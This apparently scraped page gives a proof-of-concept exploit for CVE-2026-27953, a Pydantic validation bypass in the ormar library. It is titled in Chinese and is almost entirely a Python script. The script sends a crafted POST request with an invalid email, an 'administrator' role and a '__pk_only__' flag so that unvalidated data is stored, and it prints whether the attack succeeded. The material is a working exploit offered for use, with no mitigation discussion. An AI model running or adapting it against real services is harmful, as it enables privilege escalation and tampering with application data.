CVE-2026-27953 ormar Pydantic验证绕过漏洞

import requests def exploit_poc(): target_url = "http://vulnerable-app/api/users" # Malicious payload to bypass Pydantic validation # Assuming the endpoint expects a User model with validation on 'email' and 'role' payload = { "username": "hacker", "email": "invalid-email-format", # Normally would fail validation "role": "administrator", # Normally restricted "__pk_only__": True # Bypass parameter } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! Data persisted without validation.") else: print(f"[-] Request failed with status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_poc()